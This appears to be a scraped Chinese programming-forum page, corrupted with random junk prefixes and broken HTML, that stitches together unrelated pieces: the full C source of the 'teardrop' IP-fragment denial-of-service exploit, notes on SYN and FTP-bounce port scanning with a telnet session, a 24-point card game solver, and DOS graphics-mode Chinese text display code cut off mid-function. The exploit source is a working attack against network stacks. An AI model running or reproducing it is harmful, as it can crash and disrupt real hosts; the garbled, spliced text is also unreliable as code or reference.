2 W! m0 Z+ ~, t( |#include <UNISTD.H>
#include <STRING.H>
* i' f0 |- b8 _- B' @#include <NETDB.H>
#include <NETINET in.h>
! O. d" C2 {# }#include <NETINET udp.h>
9 v# j. h- u9 F; F. k#include <ARPA inet.h>
7 z0 ^  s8 J; m1 [& a/ n#include <SYS types.h>
#include <SYS time.h>
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
! |1 B: e, H/ ]/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
/ L8 H% Y  ~: I. n+ J7 M#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
4 U  q$ y! U3 w3 n3 b1 v% k/ ]) e, C#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
0 H+ k( O5 j1 I' c+ Y$ J2 ?6 l#define IPH 0x14 /* IP header size */
' R7 l5 ~& ~1 L# |+ ?1 z7 ~#define UDPH 0x8 /* UDP header size */
2 T, R+ Q; j$ b+ k$ _#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/</P><P>void usage(u_char *);
u_long name_resolve(u_char *);
8 m4 m5 _/ `' V6 t5 E9 b+ k7 Xu_short in_cksum(u_short *, int);
* T4 l9 r1 U5 v+ T- ]7 v+ Cvoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
{
, e1 t7 j3 [( h8 l' D/ ~int one = 1,
8 ^9 y, l3 D1 y2 o( @count = 0,
i,
rip_sock;
u_long src_ip = 0, dst_ip = 0;
# S! h. N, |& i: a3 S! eu_short src_prt = 0, dst_prt = 0;
: C: E4 O. [; Nstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
9 s, x& @- L5 d  O{
+ Y0 Y% B# Q/ Dperror("raw socket");
# a% c; ~4 F. e3 m% nexit(1);
}
//由系统处理IP校验和。
& A& B% L0 l. Q- ?, I7 ?if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
$ ]* T; r7 Y& B9 f" ?( ~  ~6 i&lt; 0)
{
- u! }# s( F, W- f# x# T* Xperror("IP_HDRINCL");
exit(1);
  v: G4 f* a; F5 T) F  E5 a" H}</P><P>if (argc &lt; 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
  ?# q  C5 ?& U: |8 p{
fprintf(stderr, "What the hell kind of IP address is that?\n");
1 b2 P+ H0 Z9 F2 z! u3 oexit(1);
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
( B$ m) j2 S0 F$ `8 abreak;
' S4 Q3 W/ ~" h: ~1 j* qcase 't': /* dest port (DNS, anyone?) */
( Q# i. Y0 Y# M3 [( wdst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
1 U4 k2 r- g$ r2 R, {2 lcount = atoi(optarg);
break;
) a! R8 Z- |2 _default :
' v4 o" F% M; K$ xusage(argv[0]);
break; /* NOTREACHED */
- F; s% \# t! z9 }! i}
}</P><P>srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
. {4 K3 p9 h) ~$ l; C" Sif (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
' H) M+ Y' i0 _# e2 U. v" w; b9 Laddr.s_addr = src_ip;
: w* \" F6 L5 ifprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
! u5 s$ ]; |: s, Wfprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
4 i: a% w, N$ Q( ^fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
' R% r$ t3 b5 Z! t& Y' v* N* }{
$ H! V# @5 m5 w6 \7 n+ Msend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
' R& F1 d3 d7 C" s* ?3 `& f% F! K4 lfprintf(stderr, "b00m ");
; _, P4 z8 N! m. O5 }& n7 G/ y9 d; F% tusleep(500);
  c. _/ z2 Q7 C$ l5 T" T}
fprintf(stderr, "]\n");
) x3 u/ E: M0 H4 F7 ]; g  Sreturn (0);
}</P><P>/*
; a7 R- B9 C7 {% O* G. u6 v* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
$ Y" {% b1 C, S* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
$ V. n( m% e( h6 l4 r/ H9 o' J2 {*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
5 ]& T# H( p3 j0 s0 Bu_short dst_prt)
  n: Y' w7 ]& {9 s{
# p' I: A* i* o0 Ju_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;</P><P>/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
- n0 F$ |8 P- l9 U1 r/ k" m*/
; U/ U& J, A& J. H- r* a5 w( gpacket = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
* g6 j! m6 X+ C, j. u& M. ?7 Umemcpy(p_ptr, &amp;byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
2 l5 k# p! K7 e! I/ B0 yp_ptr += 2;
" {- ]) _- T6 |*((u_short *)p_ptr) = htons(242); /* IP id */
9 X4 K" O$ W5 a) Ap_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
: F+ i" {, B8 J5 M% u/ ]; }p_ptr += 2;
* l8 ?+ ]8 b; e8 R8 e! N( |/ ~6 e*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
2 X, K/ g8 X) T: p' J' B, Fp_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
" e# [* x& R+ S: b" T*((u_long *)p_ptr) = dst_ip; /* IP destination address */
9 ~- L# F, i3 Z4 W; @% np_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
1 S! `- o, F. F, \! x1 ~*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
sizeof(struct sockaddr)) == -1)
3 L/ Y, G' ^  M7 G7 H) d{
7 i- f! T3 Q: }9 E* t* S! Gperror("\nsendto");
8 J" v9 G' r& s/ Ifree(packet);
) J" e7 X2 X6 d! s* Uexit(1);
  p' g! b( D+ z- E' i4 l}</P><P>/* We set the fragment offset to be inside of the previous packet's
+ L* }3 P2 E: G% w; U* payload (it overlaps inside the previous packet) but do not include
2 f" q/ i0 Z( N* enough payload to cover complete the datagram. Just the header will
) [! _, h5 Z, V- z4 k* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
  X* V- Q: j% a- r4 K" }*/
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
' u7 [! M: _8 R6 |$ |p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
6 F. \9 M0 e& S! E! L- Vexit(1);
% o4 m% j4 ^, X}
( C6 u  E" ~' u! |7 K  c' [free(packet);
3 k9 @- Q  k9 e7 @' n}</P><P>u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
3 j: q: K/ t- |, r: F* v{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
4 G; ?+ u; `& {' G: \7 e" i( o$ J6 h}
return (addr.s_addr);
* K2 l5 c) M+ n}</P><P>void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
6 ]( q* \" E) \% k4 Q( i3 L}</P><P>
8 \+ u7 w4 [" n: z, M6 D& Y9 S, v$ C4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法：
- t& U* Q# K3 J* n4 j2 m(1) Half-open（半打开）
9 h% t( P# B/ Y1 ]5 ~* g* w利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
* V! }. _" {: M" Y' Q5 J如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。</P><P>(2) FTP scanner
利用了FTP的port命令，例如可以这样作：
9 b$ J1 f8 W# U/ x/ j选择一个FTP服务器，连上后令port命令指向目标机，如果返回
值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则
/ _+ q" X/ k# T( H4 @; R: Z该端口无服务。
telnet 192.168.1.13 21
2 _$ O! v( ?3 a, g. F0 H6 GTrying 192.168.1.13...
Connected to pp.bricks.org.
Escape character is '^]'.
1 E* j/ O! F" O9 N" g$ k1 P8 U220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
: m1 ?2 M) f6 e- N* LThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
331 Guest login ok, send your complete e-mail address as password.
pass aa@aa.aa
230 Guest login ok, access restrictions apply.
3 X6 b0 U  U2 m1 \, ~  F5 mport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
$ b3 g- T  u0 j5 ^; e/ u425 Can't build data connection: Connection refused.
  @; }  ^; P, e/ h0 G. ]//该端口未活动
150 Opening ASCII mode data connection for file list.
/ R7 b# a$ c& J$ W* x226 Transfer complete.
//该端口活动中
但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。</P><P>上述两种方法是通用的，而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理：</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
SYN|FIN ACK or SYN|ACK* RST
ACK Nothing RST
4 {  C% ]$ C1 Z1 J  h; V0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认
定它在向你做portscan。</P><P>notes：
( ^1 c9 _; k9 J+ u: i0 Q. ~' B早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的
都是向它scan。</P>

韩冰

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
# K: L# P. d  C$ |9 O5 {7 D　　漫长的假期对于我来说总是枯燥无味的，闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单，就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目，这不，我们刚玩了一会儿，便遇到了一个难题——3、6、6、10（其实后来想想，这也不算是个太难的题，只是当时我们的脑筋都没有转弯而已，呵呵）。

　　问题既然出现了，我们当然要解决。冥思苦想之际，我的脑中掠过一丝念头——何不编个程序来解决这个问题呢？文曲星中不就有这样的程序吗？所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法，最先想到的自然是穷举法（后来发现我再也想不到更好的方法了，悲哀呀，呵呵），因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举，不就可以利用这个计算程序来完成这个计算二十四点的程序吗？确定了这个思路之后，我开始想这个问题的细节。
! T8 P/ J" B+ P5 l% \6 E8 L/ P; A首先穷举的可行性问题。我把表达式如下分成三类——
<FONT color=#ff0000>1、 无括号的简单表达式。
3 T& _3 j- M: A$ d- b: b2、 有一个括号的简单表达式。
3、 有两个括号的较复4、 杂表达式。
# z# M& o1 p4 }( }* X' h</FONT>穷举的开始我对给出的四个数进行排列，其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列，算法如下:
' H$ ^2 ^( Z2 d$ g<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
/* c[] 存放四张牌的数组 */
/* k[] c[]种四张牌的代号，其中k[I]=I+1。
: f8 j% X: t$ a9 y  g) L7 j: g; i用它来代替c[]做处理，考虑到c[]中有可能出现相同数的情况 */
/* kans[] 暂存生成的排列组合 */
/* j 嵌套循环的次数 */
int fans(c,k,ans,kans,j)
int j,k[],c[];char ans[],kans[];
{ int i,p,q,r,h,flag,s[4],t[4][4];
for(p=0,q=0;p&lt;4;p++)
{ for(r=0,flag=0;r<J;R++)
if(k[p]!=kans[r]) flag++;
6 b( N9 ^$ R: u! ^3 M5 ]% _# mif(flag==j) t[j][q++]=k[p];
}
; c1 a7 F  A! J" j3 M( {for(s[j]=0;s[j]&lt;4-j;s[j]++)
/ k9 k/ Q! M" `' }" K2 T% R{ kans[j]=t[j][s[j]];
if(j==3) { for(h=0;h&lt;4;h++)
7 j7 ~' x0 y$ R( L9 q- s! lans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
9 p; P  a9 V% Q& p9 C达式中的位置 */
6 V5 D" S- ^$ w  V3 v, o# S- w+ Tfor(h=0;h&lt;3;h++)
symbol(ans,h); /* 在表达式中添加运算符号 */
}
else { j++;
3 c( W: g/ A, Tfans(c,k,ans,kans,j);
6 x' F) A" o0 S# jj--;
}
6 ^& |: a& H6 p9 [}
6 y2 Q3 R3 ^( g+ M! S  ^% R}</FONT>
3 a. Z4 c# T, Q/ {' L- w: o
' S( S  u! p! g1 ^　　正如上面函数中提到的，在完成四张牌的排列之后，在表达式中添加运算符号。由于只有四张牌，所以只要添加三个运算符号就可以了。由于每一个运算符号可重复，所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举，算法如下:

; o! E( J) ?. d( v. P3 f: {<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
int sans(ans,sy,j,h)
char ans[],sy[];int j,h;
  f7 n1 _1 S2 }! B; W{ int i,p,k[3],m,n; char ktans[20];
for(k[j]=0;k[j]&lt;4;k[j]++)
) x+ A' o5 O4 G5 C* k, k{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
, B& v. D! U+ y- |这里的三个运算符号分别存放在1、3、5位*/
if(j==2)
$ ~$ d4 t6 j8 ^0 C3 \; R{ ans[5]=sy[k[j]];
- R3 F- a4 U: P) C1 H, B( O* t! F/* 此处根据不同的表达式形式再进行相应的处理 */
}
else { j++; sans(ans,sy,j--,h); }
}
7 l% Q. R2 V' J8 r0 }, x}

</FONT>　　好了，接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类，是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种，无括号自然不用另行处理；而第二种情况由以下代码可以得出其可能性有六种，其中还有一种是多余的。
for(m=0;m&lt;=4;m+=2)
for(n=m+4;n&lt;=8;n+=2)
　　这个for循环给出了添加一个括号的可能性的种数，其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0，n=8，也就是放在表达式的两端。这真是多此一举，呵呵！最后一种情况是添加两个括号，我分析了一下，发现只可能是这种形式才不会是重复的——（a b）(c d)。为什么不会出现嵌套括号的情况呢？因为如果是嵌套括号，那么外面的括号肯定是包含三个数字的（四个没有必要），也就是说这个括号里面包含了两个运算符号，而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的，则肯定可以通过一些转换去掉括号（你不妨举一些例子来试试），也就是说这一个括号没有必要；如果这两个运算符号不是同一优先级，也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高，自然就没有必要在它的外面添加括号了。

　　综上所述，所有可能的表达式的种数为24*64*（1+6+1）=12288种。哈哈，只有一万多种可能性（这其中还有重复），这对于电脑来说可是小case哟！所以，对于穷举的可行性分析和实现也就完成了。
</P>< align=left>　　接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用，那么什么是栈呢？栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的，即最后存放入栈的货物（堆在靠出口处）先被提取出去，符合“先进后出，后进先出”的原则。这种结构犹如子弹夹。
在栈中，元素的插入称为压入（push）或入栈，元素的删除称为弹出（pop）或退栈。

( G( B1 T4 E( F2 E9 I/ B　　栈的基本运算有三种，其中包括入栈运算、退栈运算以及读栈顶元素，这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。

& Q" E+ z: ?5 T. y　　那么作为栈的著名应用，表达式的计算可以有两种方法。
% e% B. ~! Z) l. G5 s7 J
, {" x( V8 {" B" j　　<FONT color=#ff0000>第一种方法——</FONT>
　　首先建立两个栈，操作数栈OVS和运算符栈OPS。其中，操作数栈用来记忆表达式中的操作数，其栈顶指针为topv，初始时为空，即topv=0；运算符栈用来记忆表达式中的运算符，其栈顶指针为topp，初始时，栈中只有一个表达式结束符，即topp=1，且OPS（1）=‘；’。此处的‘；’即表达式结束符。
4 F0 U( y4 a1 [  g4 ]( l　　然后自左至右的扫描待处理的表达式，并假设当前扫描到的符号为W，根据不同的符号W做如下不同的处理：
/ d; y( S- g$ I. [2 @1、 若W为操作数
2 T( q$ u7 f( `% G4 F2、 则将W压入操作数栈OVS
9 a; v$ a$ w" r3、 且继续扫描下一个字符
4、 若W为运算符
5、 则根据运算符的性质做相应的处理：
1 k6 X0 G0 `* I8 U3 R5 P/ j(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS，并继续扫描下一个字符。
(2)、若运算符W为表达式结束符‘；’且运算符栈栈顶的运算符也为表达式结束符（即OPS(topp)=’;’），则处理过程结束，此时，操作数栈栈顶元素（即OVS（topv））即为表达式的值。
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号（即OPS（topp）=’(‘)，则将左括号从运算符栈谈出，且继续扫描下一个符号。
(4)、若运算符的右不大于运算符栈栈顶的运算符（即OPS(topp)），则从操作数栈OVS中弹出两个操作数，设先后弹出的操作数为a、b，再从运算符栈OPS中弹出一个运算符，设为+，然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。

/ D/ n" i# b& F5 Y7 x<FONT color=#ff0000>　　第二种方法——</FONT>
　　首先对表达式进行线性化，然后将线性表达式转换成机器指令序列以便进行求值。
! w( q/ h- A& N) _6 n8 ~
　　那么什么是表达式的线性化呢？人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式，有时必须借助括号才能将运算顺序表达清楚，而且处理也比较复杂。

　　 1929年，波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系，后来人们称之为波兰表示法（Polish notation）。波兰表达式的特点是运算符位于运算对象的后面，因此称为后缀表示。在对波兰表达式进行运算，严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
表达式 波兰表达式
A-B AB-
+ @$ x  N" L7 ^# a# w（A-B）*C+D AB-C*D+
: `# A6 `8 E9 ~A*（B+C/D）-E*F ABCD/+*EF*-
# M/ U9 x% f# H（B+C）/（A-D） BC+AD-/
# \: `3 O; r# `) C' u6 d& v
　　OK，所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式，利用栈可以把表达式变换成波兰表达式，也可以利用栈来计算波兰表达式的值。
( \5 R' w6 ~* Q$ @2 P& a0 G
　　至于转换和计算的过程和第一种方法大同小异，这里就不再赘述了。

　　下面给出转换和计算的具体实现程序——

<FONT color=#009900>/* first函数给出各个运算符的优先级，其中=为表达式结束符 */
int first(char c)
{ int p;
switch(c)
{ case '*': p=2; break;
case '/': p=2; break;
case '+': p=1; break;
case '-': p=1; break;
4 r- H3 L1 T8 e) T0 Ucase '(': p=0; break;
) D+ z$ X* H! P9 a, ecase '=': p=-1; break;
}
return(p);
}
0 O6 w, a$ c7 q  u& s: \1 X/* 此函数实现中缀到后缀的转换 */
/* M的值宏定义为20 */
/* sp[]为表达式数组 */
, H/ C: {. X( }3 mint mid_last()
3 z3 B! b* Y) a1 ]6 v5 ]{ int i=0,j=0; char c,sm[M];
c=s[0]; sm[0]='='; top=0;
3 k3 j; a+ Z1 T0 awhile(c!='\0')
# j- a2 h+ N7 U{ if(islower(c)) sp[j++]=c;
else switch(c)
{ case '+':
4 o& X5 h& r1 P- p% ]" [case '-':
case '*':
case '/': while(first(c)&lt;=first(sm[top]))
5 @; g6 A3 l% }- N, Osp[j++]=sm[top--];
sm[++top]=c; break;
case '(': sm[++top]=c; break;
case ')': while(sm[top]!='(')
8 {1 s) K, z7 t: I; p5 j  ysp[j++]=sm[top--];
. b( s) e3 n- T8 p) j, J3 ltop--; break;
default :return(1);
( h2 ?: W% j0 S}
  _* b5 ?* p4 l$ n/ Ic=s[++i];
}
while(top&gt;0) sp[j++]=sm[top--];
sp[j]='\0'; return(0);
4 {* F- `' o1 \$ V1 C}
1 `  O3 U; m$ U. Y2 z6 ~/* 由后缀表达式来计算表达式的值 */
1 Z8 J( w2 h% z. T+ w) T/ Lint calc()
& i/ ~: m8 N' k, t{ int i=0,sm[M],tr; char c;
c=sp[0]; top=-1;
while(c!='\0')
1 \* p5 A8 m! R. W& P( b1 o{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数，
2 v7 `& y6 Q( ^0 }& |: |这样才可以更方便的处理非一位数，
2 D# ~" x. q8 g' N6 E% V% lver数组中存放着这些字母所代替的数*/
else switch(c)
1 d; \0 l: Y$ K2 g0 B{ case '+': tr=sm[top--]; sm[top]+=tr; break;
( g8 B$ J5 r) p! L5 T3 Q  \% Pcase '-': tr=sm[top--]; sm[top]-=tr; break;
case '*': tr=sm[top--]; sm[top]*=tr; break;
case '/': tr=sm[top--];sm[top]/=tr;break;
2 \( O, I& y  tdefault : return(1);
" x$ I, |' c. H1 `  p}
. Y1 _/ s+ k8 v# o4 cc=sp[++i];
% c) e& f2 e  Z6 j+ h+ L+ x; @, B5 c5 F}
& }3 ]; d. q; k& F" ^9 f  o8 gif(top&gt;0) return(1);
else { result=sm[top]; return(0); }
}
/ q4 e2 j$ Y% e5 H1 x. z/ X2 s4 i</FONT>
. C* b5 Y: Y6 v' R　　这样这个程序基本上就算解决了，回过头来拿这个程序来算一算文章开始的那个问题。哈哈，算出来了，原来如此简单——（6-3）*10-6=24。
7 f% s! N# q' q, H4 U5 |4 e4 Q
　　最后我总结了一下这其中容易出错的地方——
% S7 b6 ?$ Z  ?
　　1、 排列的时候由于一个数只能出现一次， 所以必然有一个判断语句。但是用什么来判断，用大小显然不行，因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号，在排列结束时，通过这个代号找到这个数。

　　2、在应用嵌套函数时，需仔细分析程序的执行过程，并对个别变量进行适当的调整（如j的值）,程序才能正确的执行。
5 Q" k: l# B: Z4 D6 s$ Q) @
　　3、在分析括号问题的时候要认真仔细，不要错过任何一个可能的机会，也要尽量使程序变得简单一些。不过我的分析可能也有问题，还请高手指点。
/ G# n8 O% Q: p3 D
0 m6 n( t% J* V9 h　　4、在用函数对一个数组进行处理的时候，一定要注意如果这个数组还需要再应用，就必须将它先保存起来，否则会出错，而且是很严重的错误。
! C! _. l$ w1 s0 W" L9 r& T
　　5、在处理用户输入的表达式时，由于一个十位数或者更高位数是被分解成各位数存放在数组中，所以需对它们进行处理，将它们转化成实际的整型变量。另外，在转化过程中，用一个字母来代替这个数，并将这个数存在一个数组中，且它在数组中的位置和代替它的这个字母有一定的联系，这样才能取回这个数。

( w' o  z4 f0 [4 D' @& C$ Y　　6、由于在穷举过程难免会出现计算过程中有除以0的计算，所以我们必须对calc函数种对于除的运算加以处理，否则程序会因为出错而退出（Divide by 0）。
/ {8 A8 |0 o1 ]& x
　　7、最后一个问题，本程序尚未解决。对于一些比较著名的题目，本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数，而本程序并没有考虑到小数。
, I5 J. k9 W4 ?- J/ R/ r3 [  ~' B</P>

韩冰

< align=center><FONT color=#cc0000 size=5><B>
! k9 K9 j* R) q$ F; Q, j' g0 A4 v5 \图形模式下的汉字显示</B></FONT></P><>　</P><>　我们在编写一些应用软件时，为了使软件更为通俗浅显、易学易用，具备汉字的用户界面是必不可少的条件。在文本模式下，只要有汉字操作系统的支持，显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习Ｃ语言！");}
　　在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究，并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持，但用到其中的字库文件。如ＵＣＤＯＳ的HZK16。
　　汉字显示的第一步是打开字库文件。
2 g0 b$ N1 ~) k+ f$ T; u　　函数： int OpenHz(const char *Hz16Path); 功能：打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后，就可以用下面介绍的函数显示16点阵的汉字。
　　函数： int WrtHz16(int x,int y,int z,int color,char *p); 功能：在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
{
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
5 ]) ?8 s. ?3 p& N* i. Sint rec,i1,i2,i3; /*z:space between;*/
long l; /*color:txt color*/
+ E5 h4 q& N, m9 N$ A5 y: ?4 dchar by[32]; /*p:HZ str*/
: T1 r9 }( K6 }  h6 iif( handle&lt;0 ) return -1; while((i=*p++)!=0){
if(i&gt;0xa1)
if(f==0){
c1=(i-0xa1)&amp;0x07f;
f=1;
/ P! W" S8 q2 d% m6 K}
else{
c2=(i-0xa1)&amp;0x07f;
5 r! r8 ~# ?+ ?+ h- @* `: G& xf=0;
rec=c1*94+c2;
5 Y# a1 W7 L8 X* ~1 Vl=rec*32L;
* d3 s3 N4 S  n0 u9 a3 f6 mlseek(handle,l,SEEK_SET);
read(handle,by,32);
for(i1=0;i1&lt;16;i1++)
3 v5 Q, h/ N9 d2 W- q  ^) Gfor(i2=0;i2&lt;2;i2++)
9 W8 T2 ^/ e8 ~" }  hfor(i3=0;i3&lt;8;i3++)
if(GetBit(by[i1*2+i2],7-i3))
putpixel(x+i2*8+i3,y+i1,color);
; N$ c( X9 Z6 p' Q7 t- s% ^x=x+z+16;
}
}
% {7 d1 P7 ~7 m$ o# C5 treturn(x);
# T7 I  ?7 f8 F( ?7 o7 ~}
函数GetBit定义如下：
2 X2 _( f% E: v- A　　函数： int GetBit(unsigned char c,int n); 功能：取得汉字的点阵数据。
int GetBit(unsigned char c,int n)
{
return((c&gt;&gt;n)&amp;1);
* f+ {6 w5 P$ q}
汉字显示结束，应该关闭字库文件。
void CloseHz(void)
{
close( handle );
8 }+ g; [- B* t}
#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
  L. ~7 q7 }1 B$ A0 _# f6 G: qconst char* HzStr = "苦丁香Ｃ语言辅助学习软件";
void main(){
0 {. D% O. d& p* p; sint gr=DETECT,gm;
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
, z1 H8 A( p  F: |$ AOpenHz( Hz16Path );
3 P( @1 k( ^5 v; u% K. ~, CWrt16Hz(20,20,4,RED,HzStr);
" U' i0 }5 w% H& T$ oCloseHz();
getch();
/ y* q. p/ f. k) @closegraph();
}显示２４点阵及放大汉字
/ U; T" k, H- h　　下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如ＵＣＤＯＳ的HZK24S。
函数： int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能：显示２４点阵及放大汉字。
. N. {  r5 Z! Y; @" t& dint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
{
% r( I6 j6 \3 N0 C5 yunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置（x,y）*/
. Q" S8 C8 K3 h' n" Rlong l; /*color:汉字颜色*/
: A) K& u# p2 nchar by[72]; /*m: x 方向的放大倍数*/
$ D+ l; i) Z* ]& R3 ?) V5 y% v/*n: y 方向的放大倍数*/
0 U3 ^3 M/ h; P, pif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
( n: f) {& D$ Vif(i&gt;0xa1)
/ Z: |& Y+ g8 D0 Yif(f==0){
c1=(i-0xa1)&amp;0x7f;
